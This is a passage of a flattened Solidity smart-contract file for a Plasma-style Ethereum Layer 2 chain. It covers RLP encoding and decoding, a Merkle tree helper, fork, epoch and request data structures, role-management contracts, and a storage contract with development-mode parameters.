/// Warning: This requires passing in the number of items.
/// @param self The RLP item.
/// @return Array of RLPItems.
function toList(RLPItem memory self, uint256 numItems) internal pure returns (RLPItem[] memory list) {
list = new RLPItem[](numItems);
Iterator memory it = iterator(self);
uint idx;
while (idx < numItems) {
list[idx] = next(it);
idx++;
}
}
/// @dev Decode an RLPItem into a uint. This will not work if the
/// RLPItem is a list.
/// @param self The RLPItem.
/// @return The decoded string.
function toUint(RLPItem memory self) internal pure returns (uint data) {
(uint rStartPos, uint len) = _decode(self);
assembly {
data := div(mload(rStartPos), exp(256, sub(32, len)))
}
}
/// @dev Decode an RLPItem into an address. This will not work if the
/// RLPItem is a list.
/// @param self The RLPItem.
/// @return The decoded string.
function toAddress(RLPItem memory self)
internal
pure
returns (address data)
{
(uint rStartPos,) = _decode(self);
assembly {
data := div(mload(rStartPos), exp(256, 12))
}
}
/// @dev Create an iterator.
/// @param self The RLP item.
/// @return An 'Iterator' over the item.
function iterator(RLPItem memory self) private pure returns (Iterator memory it) {
uint ptr = self._unsafeMemPtr + _payloadOffset(self);
it._unsafeItem = self;
it._unsafeNextPtr = ptr;
}
/* Iterator */
function next(Iterator memory self) private pure returns (RLPItem memory subItem) {
uint ptr = self._unsafeNextPtr;
uint itemLength = _itemLength(ptr);
subItem._unsafeMemPtr = ptr;
subItem._unsafeLength = itemLength;
self._unsafeNextPtr = ptr + itemLength;
}
function hasNext(Iterator memory self) private pure returns (bool) {
RLPItem memory item = self._unsafeItem;
return self._unsafeNextPtr < item._unsafeMemPtr + item._unsafeLength;
}
// Get the payload offset.
function _payloadOffset(RLPItem memory self)
private
pure
returns (uint)
{
uint b0;
uint memPtr = self._unsafeMemPtr;
assembly {
b0 := byte(0, mload(memPtr))
}
if (b0 < DATA_SHORT_START)
return 0;
if (b0 < DATA_LONG_START || (b0 >= LIST_SHORT_START && b0 < LIST_LONG_START))
return 1;
if (b0 < LIST_SHORT_START)
return b0 - DATA_LONG_OFFSET + 1;
return b0 - LIST_LONG_OFFSET + 1;
}
// Get the full length of an RLP item.
function _itemLength(uint memPtr)
private
pure
returns (uint len)
{
uint b0;
assembly {
b0 := byte(0, mload(memPtr))
}
if (b0 < DATA_SHORT_START)
len = 1;
else if (b0 < DATA_LONG_START)
len = b0 - DATA_SHORT_START + 1;
}
// Get start position and length of the data.
function _decode(RLPItem memory self)
private
pure
returns (uint memPtr, uint len)
{
uint b0;
uint start = self._unsafeMemPtr;
assembly {
b0 := byte(0, mload(start))
}
if (b0 < DATA_SHORT_START) {
memPtr = start;
len = 1;
return (memPtr, len);
}
if (b0 < DATA_LONG_START) {
len = self._unsafeLength - 1;
memPtr = start + 1;
} else {
uint bLen;
assembly {
bLen := sub(b0, 0xB7) // DATA_LONG_OFFSET
}
len = self._unsafeLength - 1 - bLen;
memPtr = start + bLen + 1;
}
return (memPtr, len);
}
/// @dev Return the RLP encoded bytes.
/// @param self The RLPItem.
/// @return The bytes.
function toBytes(RLPItem memory self)
internal
pure
returns (bytes memory bts)
{
uint len = self._unsafeLength;
if (len == 0)
return bts;
bts = new bytes(len);
_copyToBytes(self._unsafeMemPtr, bts, len);
}
// Assumes that enough memory has been allocated to store in target.
function _copyToBytes(uint btsPtr, bytes memory tgt, uint btsLen)
private
pure
{
// Exploiting the fact that 'tgt' was the last thing to be allocated,
// we can write entire words, and just overwrite any excess.
assembly {
{
// evm operations on words
let words := div(add(btsLen, 31), 32)
let rOffset := btsPtr
let wOffset := add(tgt, 0x20)
for
{ let i := 0 } // start at arr + 0x20 -> first byte corresponds to length
lt(i, words)
{ i := add(i, 1) }
{
let offset := mul(i, 0x20)
mstore(add(wOffset, offset), mload(add(rOffset, offset)))
}
mstore(add(tgt, add(0x20, mload(tgt))), 0)
}
}
}
}
// File: contracts/lib/RLPEncode.sol
pragma solidity ^0.5.12;
/**
* @title A simple RLP encoding library
* @author Bakaoh
*/
library RLPEncode {
uint8 constant STRING_OFFSET = 0x80;
uint8 constant LIST_OFFSET = 0xc0;
/**
* @notice Encode string item
* @param self The string (ie. byte array) item to encode
* @return The RLP encoded string in bytes
*/
function encodeBytes(bytes memory self) internal pure returns (bytes memory) {
if (self.length == 1 && self[0] <= 0x7f) {
return self;
}
return mergeBytes(encodeLength(self.length, STRING_OFFSET), self);
}
/**
* @notice Encode address
* @param self The address to encode
* @return The RLP encoded address in bytes
*/
function encodeAddress(address self) internal pure returns (bytes memory) {
bytes memory b;
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, self))
mstore(0x40, add(m, 52))
b := m
}
return encodeBytes(b);
}
/**
* @notice Encode uint
* @param self The uint to encode
* @return The RLP encoded uint in bytes
*/
function encodeUint(uint self) internal pure returns (bytes memory) {
return encodeBytes(toBinary(self));
}
/**
* @notice Encode int
* @param self The int to encode
* @return The RLP encoded int in bytes
*/
function encodeInt(int self) internal pure returns (bytes memory) {
return encodeUint(uint(self));
}
/**
* @notice Encode bool
* @param self The bool to encode
* @return The RLP encoded bool in bytes
*/
function encodeBool(bool self) internal pure returns (bytes memory) {
bytes memory rs = new bytes(1);
if (self) {
rs[0] = bytes1(uint8(1));
}
return rs;
}
/**
* @notice Encode list of items
* @param self The list of items to encode, each item in list must be already encoded
* @return The RLP encoded list of items in bytes
*/
function encodeList(bytes[] memory self) internal pure returns (bytes memory) {
bytes memory payload = new bytes(0);
for (uint i = 0; i < self.length; i++) {
payload = mergeBytes(payload, self[i]);
}
return mergeBytes(encodeLength(payload.length, LIST_OFFSET), payload);
}
/**
* @notice Concat two bytes arrays
* @dev This should be optimize with assembly to save gas costs
* @param param1 The first bytes array
* @param param2 The second bytes array
* @return The merged bytes array
*/
function mergeBytes(bytes memory param1, bytes memory param2) internal pure returns (bytes memory) {
bytes memory merged = new bytes(param1.length + param2.length);
uint k = 0;
uint i;
for (i = 0; i < param1.length; i++) {
merged[k] = param1[i];
k++;
}
for (i = 0; i < param2.length; i++) {
merged[k] = param2[i];
k++;
}
return merged;
}
/**
* @notice Encode the first byte, followed by the `length` in binary form if `length` is more than 55.
* @param length The length of the string or the payload
* @param offset `STRING_OFFSET` if item is string, `LIST_OFFSET` if item is list
* @return RLP encoded bytes
*/
function encodeLength(uint length, uint offset) internal pure returns (bytes memory) {
require(length < 256**8, "input too long");
bytes memory rs = new bytes(1);
if (length <= 55) {
rs[0] = byte(uint8(length + offset));
return rs;
}
bytes memory bl = toBinary(length);
rs[0] = byte(uint8(bl.length + offset + 55));
return mergeBytes(rs, bl);
}
/**
* @notice Encode integer in big endian binary form with no leading zeroes
* @dev This should be optimize with assembly to save gas costs
* @param x The integer to encode
* @return RLP encoded bytes
*/
function toBinary(uint x) internal pure returns (bytes memory) {
uint i;
bytes memory b = new bytes(32);
assembly {
mstore(add(b, 32), x)
}
for (i = 0; i < 32; i++) {
if (b[i] != 0) {
break;
}
}
bytes memory rs = new bytes(32 - i);
for (uint j = 0; j < rs.length; j++) {
rs[j] = b[i++];
}
return rs;
}
}
// File: contracts/lib/BMT.sol
pragma solidity ^0.5.12;
library BMT {
// TODO: remove recursive call
function getRoot(bytes32[] memory level)
internal
view
returns (bytes32)
{
if (level.length == 1) return level[0];
bytes32[] memory nextLevel = new bytes32[]((level.length + 1) / 2);
uint i;
for (; i + 1 < level.length; i += 2) {
nextLevel[i/2] = keccak256(abi.encodePacked(level[i], level[i+1]));
}
if (level.length % 2 == 1) {
nextLevel[i/2] = keccak256(
abi.encodePacked(level[level.length - 1], level[level.length - 1])
);
}
return getRoot(nextLevel);
}
function checkMembership(
bytes32 leaf,
uint256 index,
bytes32 rootHash,
bytes memory proof
)
internal
pure
returns (bool)
{
require(proof.length % 32 == 0);
uint256 numElements = proof.length / 32;
require(numElements < 16);
bytes32 proofElement;
bytes32 computedHash = leaf;
for (uint256 i = 32; i <= 32 * numElements; i += 32) {
assembly {
proofElement := mload(add(proof, i))
}
if (index % 2 == 0) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
index = index / 2;
}
return computedHash == rootHash;
}
}
// File: contracts/RequestableI.sol
pragma solidity ^0.5.12;
interface RequestableI {
function applyRequestInRootChain(
bool isExit,
uint256 requestId,
address requestor,
bytes32 trieKey,
bytes calldata trieValue
) external returns (bool success);
function applyRequestInChildChain(
bool isExit,
uint256 requestId,
address requestor,
bytes32 trieKey,
bytes calldata trieValue
) external returns (bool success);
}
// File: contracts/lib/Data.sol
pragma solidity ^0.5.12;
// import "../patricia_tree/PatriciaTree.sol"; // use binary merkle tree
library Data {
using SafeMath for uint;
using SafeMath for uint64;
using Math for *;
using RLP for *;
using RLPEncode for *;
using BMT for *;
// solium-disable max-len
bytes4 public constant APPLY_IN_CHILDCHAIN_SIGNATURE = bytes4(keccak256("applyRequestInChildChain(bool,uint256,address,bytes32,bytes)"));
bytes4 public constant APPLY_IN_ROOTCHAIN_SIGNATURE = bytes4(keccak256("applyRequestInRootChain(bool,uint256,address,bytes32,bytes)"));
// solium-enable max-len
address public constant NA = address(0);
uint public constant NA_TX_GAS_PRICE = 1e9;
uint public constant NA_TX_GAS_LIMIT = 100000;
// How many requests can be included in a single request block
function MAX_REQUESTS() internal pure returns (uint) {
// TODO: use 100 in production mode
// return 1000;
return 20;
}
// Timeout for URB submission
function URE_TIMEOUT() internal pure returns (uint) {
return 1 hours;
}
function decodePos(uint _pos) internal pure returns (uint v1, uint v2) {
assembly {
v1 := div(_pos, exp(2, 128))
v2 := and(_pos, sub(exp(2, 128), 1))
}
}
/**
* highestFinalizedBlock
* firstEpochNumber
* blockToRenew 0 means no renew required
* forkedBlock forked block number due to URB submission
* last finalized block is forkedBlockNumber - 1
* urbEpochNumber
* lastEpoch
* lastBlock
* lastFinalizedBlock
* timestamp
* firstEnterEpoch epoch number of first enter request epoch
* lastEnterEpoch epoch number of last enter request epoch
* nextBlockToRebase
* rebased true if all blocks are rebased
* epochs epochs in this fork
* blocks blocks in this fork
*/
struct Fork {
// uint64 blockToRenew;
uint64 forkedBlock; // TODO: change to forkedEpoch
uint64 firstEpoch;
uint64 lastEpoch;
uint64 firstBlock;
uint64 lastBlock;
uint64 lastFinalizedEpoch;
uint64 lastFinalizedBlock;
uint64 timestamp;
uint64 firstEnterEpoch;
uint64 lastEnterEpoch;
uint64 nextBlockToRebase;
bool rebased;
mapping (uint => Epoch) epochs;
mapping (uint => PlasmaBlock) blocks;
}
function getForkedEpoch(Fork storage self) internal view returns (uint64) {
require(self.forkedBlock != 0);
return self.blocks[self.forkedBlock].epochNumber;
}
/**
* @notice Insert a block (ORB / NRB) into the fork.
*/
function insertBlock(
Fork storage _f,
bytes32 _statesRoot,
bytes32 _transactionsRoot,
bytes32 _receiptsRoot,
bool _isRequest,
bool _userActivated,
bool _rebase
)
internal
returns (uint epochNumber, uint blockNumber)
{
epochNumber = _f.lastEpoch;
blockNumber = _f.lastBlock.add(1);
Data.Epoch storage epoch = _f.epochs[epochNumber];
if (blockNumber == epoch.endBlockNumber + 1) {
epochNumber += 1;
_f.lastEpoch = uint64(epochNumber);
epoch = _f.epochs[epochNumber];
}
require(epoch.startBlockNumber <= blockNumber);
require(_rebase || epoch.endBlockNumber >= blockNumber);
require(epoch.isRequest == _isRequest);
require(epoch.userActivated == _userActivated);
Data.PlasmaBlock storage b = _f.blocks[blockNumber];
b.epochNumber = uint64(epochNumber);
b.statesRoot = _statesRoot;
b.transactionsRoot = _transactionsRoot;
b.receiptsRoot = _receiptsRoot;
b.timestamp = uint64(block.timestamp);
b.isRequest = _isRequest;
b.userActivated = _userActivated;
if (_isRequest) {
b.requestBlockId = uint64(epoch.RE.firstRequestBlockId + blockNumber - epoch.startBlockNumber);
}
_f.lastBlock = uint64(blockNumber);
return (epochNumber, blockNumber);
}
/**
* TODO: implement insert rebased non-request epoch
* @notice Insert non-request epoch into the fork.
*/
function insertNRE(
Fork storage _f,
uint _epochNumber,
bytes32 _epochStateRoot,
bytes32 _epochTransactionsRoot,
bytes32 _epochReceiptsRoot,
uint _startBlockNumber,
uint _endBlockNumber
)
internal
{
require(_f.lastEpoch.add(1) == _epochNumber);
require(_f.lastBlock.add(1) == _startBlockNumber);
Data.Epoch storage epoch = _f.epochs[_epochNumber];
require(!epoch.isRequest);
require(!epoch.userActivated);
require(!epoch.rebase);
require(epoch.startBlockNumber == _startBlockNumber);
require(epoch.endBlockNumber == _endBlockNumber);
epoch.NRE.epochStateRoot = _epochStateRoot;
epoch.NRE.epochTransactionsRoot = _epochTransactionsRoot;
epoch.NRE.epochReceiptsRoot = _epochReceiptsRoot;
epoch.NRE.submittedAt = uint64(block.timestamp);
_f.lastEpoch = uint64(_epochNumber);
_f.lastBlock = uint64(_endBlockNumber);
}
function getLastEpochNumber(Fork storage _f, bool _isRequest) internal returns (uint) {
if (_f.epochs[_f.lastEpoch].isRequest == _isRequest) {
return _f.lastEpoch;
}
return _f.lastEpoch - 1;
}
// function getFirstNotFinalizedEpochNumber(Fork storage _f, bool _isRequest) internal returns (uint) {
// if (_f.epochs[_f.lastEpoch].isRequest == _isRequest) {
// return _f.lastEpoch;
// }
// return _f.lastEpoch - 1;
// }
/**
* @notice Update nextBlockToRebase to next request block containing enter request.
* If all ORBs are rebased, return true.
*/
function checkNextORBToRebase(
Fork storage _cur,
Fork storage _pre,
RequestBlock[] storage _rbs
) internal returns (bool finished) {
uint blockNumber = _cur.nextBlockToRebase;
uint epochNumber = _pre.blocks[_cur.nextBlockToRebase].epochNumber;
// uint lastEpochNumber = getLastEpochNumber(_pre, true);
while (_pre.epochs[epochNumber].initialized) {
// at the end of epoch
if (_pre.epochs[epochNumber].endBlockNumber <= blockNumber) {
epochNumber += 2;
blockNumber = _pre.epochs[epochNumber].startBlockNumber;
}
// skip until epoch has enter request
while (_pre.epochs[epochNumber].RE.numEnter == 0 && _pre.epochs[epochNumber].initialized) {
epochNumber += 2;
blockNumber = _pre.epochs[epochNumber].startBlockNumber;
}
// short circuit if all OREs are empty or has no enter
if (!_pre.epochs[epochNumber].initialized) {
return true;
}
// skip blocks without enter request
uint endBlockNumber = _pre.epochs[epochNumber].endBlockNumber;
while (blockNumber <= endBlockNumber) {
if (_rbs[_pre.blocks[blockNumber].requestBlockId].numEnter > 0) {
break;
}
blockNumber += 1;
}
// continue if there is no block containing enter request
if (blockNumber > endBlockNumber) {
epochNumber += 2;
blockNumber = _pre.epochs[epochNumber].startBlockNumber;
continue;
}
// target block number is found
_cur.nextBlockToRebase = uint64(blockNumber);
return false;
}
// ready to prepare NRE
return true;
}
/**
* @notice Update nextBlockToRebase to next non request block
* If all NRBs are rebased, return true.
* TODO What if no ORE' ?
*/
function checkNextNRBToRebase(
Fork storage _cur,
Fork storage _pre
) internal returns (bool finished) {
uint blockNumber = _cur.nextBlockToRebase;
uint epochNumber = _pre.blocks[blockNumber].epochNumber;
// at the end of epoch
if (_pre.epochs[epochNumber].endBlockNumber <= blockNumber) {
epochNumber += 2;
blockNumber = _pre.epochs[epochNumber].startBlockNumber;
} else {
blockNumber += 1;
}
// short circit if all NRE's are rebased
if (!_pre.epochs[epochNumber].initialized) {
_cur.nextBlockToRebase = 0;
return true;
}
// short circuit if block is not submitted
if (_pre.blocks[blockNumber].timestamp == 0) {
_cur.nextBlockToRebase = 0;
return true;
}
_cur.nextBlockToRebase = uint64(blockNumber);
return false;
}
/**
*
* startBlockNumber first block number of the epoch.
* endBlockNumber last block number of the epoch. 0 if the epoch is ORE' / NRE' until ORE' is filled.
* timestamp timestamp when the epoch is initialized.
* required for URB / ORB
* epochStateRoot merkle root of [block.stateRoot] for block in the epoch.
* epochTransactionsRoot merkle root of [block.transactionsRoot] for block in the epoch.
* epochReceiptsRoot merkle root of [block.receiptsRoot] for block in the epoch.
* isEmpty true if request epoch has no request block
* also and requestStart == requestEnd == previousEpoch.RE.requestEnd
* and startBlockNumber == endBlockNumber == previousEpoch.endBlockNumber
* and firstRequestBlockId == previousEpoch.firstRequestBlockId
* initialized true if epoch is initialized
* isRequest true in case of URB / ORB
* userActivated true in case of URB
* rebase true in case of ORE' or NRE'
*/
struct Epoch {
uint64 startBlockNumber;
uint64 endBlockNumber;
uint64 timestamp;
bool isEmpty;
bool initialized;
bool isRequest;
bool userActivated;
bool rebase;
RequestEpochMeta RE;
NonRequestEpochMeta NRE;
}
struct NonRequestEpochMeta {
bytes32 epochStateRoot;
bytes32 epochTransactionsRoot;
bytes32 epochReceiptsRoot;
uint64 submittedAt;
uint64 finalizedAt;
bool finalized;
bool challenging;
bool challenged;
}
/**
* requestStart first request id.
* requestEnd last request id.
* firstRequestBlockId first id of RequestBlock[]
* if epochs is ORE', copy from last request epoch in previous fork
* numEnter number of enter request
* nextEnterEpoch next request epoch including enter request
* nextEpoch next non-empty request epoch
*/
struct RequestEpochMeta {
uint64 requestStart;
uint64 requestEnd;
uint64 firstRequestBlockId;
uint64 numEnter;
uint64 nextEnterEpoch;
uint64 nextEpoch;
}
// function noExit(Epoch storage self) internal returns (bool) {
// if (self.rebase) return true;
// return self.RE.requestEnd.sub64(self.RE.requestStart).add64(1) == self.RE.firstRequestBlockId;
// }
function getNumBlocks(Epoch storage _e) internal view returns (uint) {
if (_e.isEmpty || _e.rebase && _e.endBlockNumber == 0) return 0;
return _e.endBlockNumber + 1 - _e.startBlockNumber;
}
function getNumRequests(Epoch storage _e) internal view returns (uint) {
if (_e.isEmpty || _e.rebase && _e.endBlockNumber == 0) return 0;
return _e.RE.requestEnd + 1 - _e.RE.requestStart;
}
function calcNumBlock(uint _rs, uint _re) internal pure returns (uint) {
return _re.sub(_rs).add(1).divCeil(MAX_REQUESTS());
}
/**
* epochNumber
* requestBlockId id of RequestBlock[]
* timestamp
* referenceBlock block number in previous fork
* statesRoot
* transactionsRoot
* receiptsRoot
* isRequest true in case of URB & OR
* userActivated true in case of URB
* challenged true if it is challenge
* challenging true if it is being challenged
* finalized true if it is successfully finalize
*/
struct PlasmaBlock {
uint64 epochNumber;
uint64 requestBlockId;
uint64 timestamp;
uint64 finalizedAt;
uint64 referenceBlock;
bytes32 statesRoot;
bytes32 transactionsRoot;
bytes32 receiptsRoot;
bool isRequest;
bool userActivated;
bool challenged;
bool challenging;
bool finalized;
}
/**
*
* timestamp
* isExit
* isTransfer
* finalized true if request is finalized
* challenged
* value ether amount in wei
* requestor
* to requestable contract in root chain
* trieKey
* trieValue
* hash keccak256 hash of request transaction (in plasma chain)
*/
struct Request {
uint64 timestamp;
bool isExit;
bool isTransfer;
bool finalized;
bool challenged;
uint128 value;
address payable requestor;
address to;
bytes32 trieKey;
bytes32 hash;
bytes trieValue;
}
function applyRequestInRootChain(
Request memory self,
uint _requestId
)
internal
returns (bool)
{
require(gasleft() > NA_TX_GAS_LIMIT + 5000);
return RequestableI(self.to).applyRequestInRootChain(
self.isExit,
_requestId,
self.requestor,
self.trieKey,
self.trieValue
);
}
function toChildChainRequest(
Request memory self,
address _to
)
internal
pure
returns (Request memory out)
{
out.isExit = self.isExit;
out.isTransfer = self.isTransfer;
out.requestor = self.requestor;
// Enter request of EtherToken mints PETH to requestor.
if (!self.isExit && self.isTransfer) {
out.to = self.requestor;
bytes memory b = self.trieValue;
uint128 v;
assembly {
v := mload(add(b, 0x20))
}
require(v > 0);
// no trieKey and trieValue for EtherToken enter
out.value = uint128(v);
} else {
out.to = _to;
out.value = self.value;
out.trieKey = self.trieKey;
out.trieValue = self.trieValue;
}
}
/**
* @notice return tx.data
*/
function getData(
Request memory self,
uint _requestId,
bool _rootchain
)
internal
pure
returns (bytes memory out)
{
if (self.isTransfer && !self.isExit) {
return out;
}
bytes4 funcSig = _rootchain ? APPLY_IN_ROOTCHAIN_SIGNATURE : APPLY_IN_CHILDCHAIN_SIGNATURE;
out = abi.encodePacked(
funcSig,
abi.encode(
bytes32(uint(self.isExit ? 1 : 0)),
_requestId,
uint256(uint160(self.requestor)),
self.trieKey,
self.trieValue
)
);
}
/**
* @notice convert Request to TX
*/
function toTX(
Request memory self,
uint _requestId,
bool _rootchain
)
internal
pure
returns (TX memory out)
{
out.gasPrice = NA_TX_GAS_PRICE;
out.gasLimit = uint64(NA_TX_GAS_LIMIT);
out.to = self.to;
out.value = self.value;
out.data = getData(self, _requestId, _rootchain);
}
/**
* submitted true if no more request can be inserted
* because epoch is initialized
* epochNumber non request epoch number where the request is created
* requestStart first request id
* requestEnd last request id
* trie patricia tree contract address
*/
struct RequestBlock {
bool submitted;
uint64 numEnter;
uint64 epochNumber;
uint64 requestStart;
uint64 requestEnd;
address trie;
}
// function noExit(RequestBlock storage self) internal returns (bool) {
// return self.RE.requestEnd.sub64(self.RE.requestStart).add64(1) == self.RE.firstRequestBlockId;
// }
function init(RequestBlock storage self) internal {
/* use binary merkle tree instead of patricia tree
if (self.trie == address(0)) {
self.trie = new PatriciaTree();
}
*/
}
function addRequest(
RequestBlock storage self,
Request storage _rootchainRequest, // request in root chain
Request memory _childchainRequest, // request in child chain
uint _requestId
) internal {
_rootchainRequest.hash = hash(toTX(_childchainRequest, _requestId, false));
/* use binary merkle tree instead of patricia tree
require(self.trie != address(0));
uint txIndex = _requestId.sub(self.RE.requestStart);
bytes memory key = txIndex.encodeUint();
bytes memory value = toBytes(toTX(_request, _requestId, false));
PatriciaTree(self.trie).insert(key, value);
self.transactionsRoot = PatriciaTree(self.trie).getRootHash();
*/
}
/*
* TX for Ethereum transaction
*/
struct TX {
uint64 nonce;
uint256 gasPrice;
uint64 gasLimit;
address to;
uint256 value;
bytes data;
uint256 v;
uint256 r;
uint256 s;
}
function isNATX(TX memory self) internal pure returns (bool) {
return self.v == 0 && self.r == 0 && self.s == 0;
}
// function toTX(bytes memory self) internal pure returns (TX memory out) {
// RLP.RLPItem[] memory packArr = self.toRLPItem().toList(9);
// out.nonce = uint64(packArr[0].toUint());
// out.gasPrice = packArr[1].toUint();
// out.gasLimit = uint64(packArr[2].toUint());
// out.to = packArr[3].toAddress();
// out.value = packArr[4].toUint();
// out.data = packArr[5].toBytes();
// out.v = packArr[6].toUint();
// out.r = packArr[7].toUint();
// out.s = packArr[8].toUint();
// }
/**
* @notice Convert TX to RLP-encoded bytes
*/
function toBytes(TX memory self) internal pure returns (bytes memory out) {
bytes[] memory packArr = new bytes[](9);
packArr[0] = self.nonce.encodeUint();
packArr[1] = self.gasPrice.encodeUint();
packArr[2] = self.gasLimit.encodeUint();
packArr[3] = self.to.encodeAddress();
packArr[4] = self.value.encodeUint();
packArr[5] = self.data.encodeBytes();
packArr[6] = self.v.encodeUint();
packArr[7] = self.r.encodeUint();
packArr[8] = self.s.encodeUint();
return packArr.encodeList();
}
function hash(TX memory self) internal pure returns (bytes32) {
bytes memory txBytes = toBytes(self);
return keccak256(txBytes);
}
/**
* Transaction Receipt
*/
struct Log {
address contractAddress;
bytes32[] topics;
bytes data;
}
struct Receipt {
uint64 status;
uint64 cumulativeGasUsed;
bytes bloom; // 2048 bloom bits, byte[256]
Log[] logs;
}
function toReceipt(bytes memory self) internal pure returns (Receipt memory r) {
RLP.RLPItem[] memory items = self.toRLPItem().toList(4);
r.status = uint64(items[0].toUint());
r.cumulativeGasUsed = uint64(items[1].toUint());
r.bloom = items[2].toBytes();
// TODO: parse Logs
r.logs = new Log[](0);
}
function toReceiptStatus(bytes memory self) internal pure returns (uint) {
RLP.RLPItem[] memory items = self.toRLPItem().toList(4);
return items[0].toUint();
}
/**
* Helpers
*/
/**
* @notice Checks transaction root of a request block
*/
function _checkTxRoot(
bytes32 _transactionsRoot,
RequestBlock storage _rb,
Request[] storage _rs,
bool _skipExit
) internal {
uint s = _rb.requestStart;
uint e = _rb.requestEnd;
uint n = _skipExit ? _rb.numEnter : e - s + 1;
require(n > 0);
bytes32[] memory hashes = new bytes32[](n);
// TODO: optimize to reduce gas
uint j = s;
for (uint i = s; i <= e; i++) {
if (!_skipExit || !_rs[i].isExit) {
hashes[j - s] = _rs[i].hash;
j++;
}
}
require(hashes.getRoot() == _transactionsRoot);
/* use binary merkle tree instead of patricia tree
Data.RequestBlock storage ORB = ORBs[fork.blocks[blockNumber].requestBlockId];
require(_transactionsRoot == ORB.transactionsRoot);
*/
}
}
// File: contracts/lib/Address.sol
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/utils/Address.sol
pragma solidity ^0.5.12;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/lib/Roles.sol
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/67bca85/contracts/access/Roles.sol
pragma solidity ^0.5.12;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: contracts/roles/MapperRole.sol
pragma solidity ^0.5.12;
contract MapperRole {
using Roles for Roles.Role;
event MapperAdded(address indexed account);
event MapperRemoved(address indexed account);
Roles.Role private _mappers;
constructor () internal {
_addMapper(msg.sender);
}
modifier onlyMapper() {
require(isMapper(msg.sender));
_;
}
function isMapper(address account) public view returns (bool) {
return _mappers.has(account);
}
function addMapper(address account) public onlyMapper {
_addMapper(account);
}
function renounceMapper() public {
_removeMapper(msg.sender);
}
function _addMapper(address account) internal {
_mappers.add(account);
emit MapperAdded(account);
}
function _removeMapper(address account) internal {
_mappers.remove(account);
emit MapperRemoved(account);
}
}
// File: contracts/roles/SubmitterRole.sol
pragma solidity ^0.5.12;
contract SubmitterRole {
using Roles for Roles.Role;
event SubmitterAdded(address indexed account);
event SubmitterRemoved(address indexed account);
Roles.Role private _submitters;
constructor () internal {
_addSubmitter(msg.sender);
}
modifier onlySubmitter() {
require(isSubmitter(msg.sender));
_;
}
function isSubmitter(address account) public view returns (bool) {
return _submitters.has(account);
}
function addSubmitter(address account) public onlySubmitter {
_addSubmitter(account);
}
function renounceSubmitter() public {
_removeSubmitter(msg.sender);
}
function _addSubmitter(address account) internal {
_submitters.add(account);
emit SubmitterAdded(account);
}
function _removeSubmitter(address account) internal {
_submitters.remove(account);
emit SubmitterRemoved(account);
}
}
// File: contracts/Layer2Storage.sol
pragma solidity ^0.5.12;
contract Layer2Storage {
/*
* Storage
*/
bool public development; // dev mode
address public operator;
address public epochHandler;
address public submitHandler;
address public etherToken;
address public seigManager;
// 1 epoch = N NRBs or k URBs or k ORBs.
// N consecutive NRBs must be submitted in an epoch. In case of request block,
// massive requests can be included in k ORBs, and k is determined when
// N NRBs are submitted or when preparing URBs submission.
uint public NRELength;
// Increase for each URB
uint public currentFork;
// First not-empty request epochs of a fork
mapping (uint => uint) public firstFilledORENumber;
mapping (uint => Data.Fork) public forks;
// Enter & Exit requests for ORB / URB
Data.Request[] public EROs;
Data.Request[] public ERUs;
// Consecutive request block. The fork where they are in is defined in Data.PlasmaBlock
Data.RequestBlock[] public ORBs;
Data.RequestBlock[] public URBs;
// count enter requests for epoch
uint public numEnterForORB;
// epoch number of last non-empty request epoch.
mapping(uint => uint) public lastNonEmptyRequestEpoch;
// epoch number of first non-empty request epoch.
mapping(uint => uint) public firstNonEmptyRequestEpoch;
// Last applied request
uint public lastAppliedForkNumber;
uint public lastAppliedEpochNumber;
uint public lastAppliedBlockNumber;
// solium-disable mixedcase
uint public EROIdToFinalize;
uint public ERUIdToFinalize;
// solium-enable mixedcase
// uint public finalizableEROId = 2^256 - 1;
// uint public finalizableERUId = 2^256 - 1;
// Requestable contract address in child chain
mapping (address => address) public requestableContracts;
/*
* Constant
*/
address constant public NULL_ADDRESS = 0x0000000000000000000000000000000000000000;
// Cost parameters for development and test
uint public constant COST_ERO = 0;
uint public constant COST_ERU = 0;
uint public constant COST_URB_PREPARE = 0;
uint public constant COST_URB = 0;
uint public constant COST_ORB = 0;
uint public constant COST_NRB = 0;
uint public constant PREPARE_TIMEOUT = 60; // 60 sec for dev
// Challenge periods for computation and withholding
uint public constant CP_COMPUTATION = 15; // 15 sec for dev
uint public constant CP_WITHHOLDING = 20; // 20 sec for dev
uint public constant CP_EXIT = 10; // 10 sec for dev
// TODO: develop more concrete cost model
// Cost parameters for production
// uint public constant COST_ERO = 0.1 ether; // cost for invalid exit
// uint public constant COST_ERU = 0.2 ether; // cost for fork & rebase
// uint public constant COST_URB_PREPARE = 0.1 ether; // cost for URB prepare
// uint public constant COST_URB = 0.9 ether; // cost for fork & rebase
// uint public constant COST_ORB = 0.1 ether; // cost for invalid computation
// uint public constant COST_NRB = 0.1 ether; // cost for invalid computation
// uint public constant PREPARE_TIMEOUT = 1 hours;
// // Challenge periods for computation and withholding
// uint public constant CP_COMPUTATION = 1 days;
// uint public constant CP_WITHHOLDING = 7 days;
// uint public constant CP_EXIT = 1 days;
// Gas limit for request trasaction
uint public constant REQUEST_GAS = 100000;
bool public constant isLayer2 = true;
}
// File: contracts/Layer2Event.sol
pragma solidity ^0.5.12;
contract Layer2Event {
event OperatorChanged(address _newOperator);
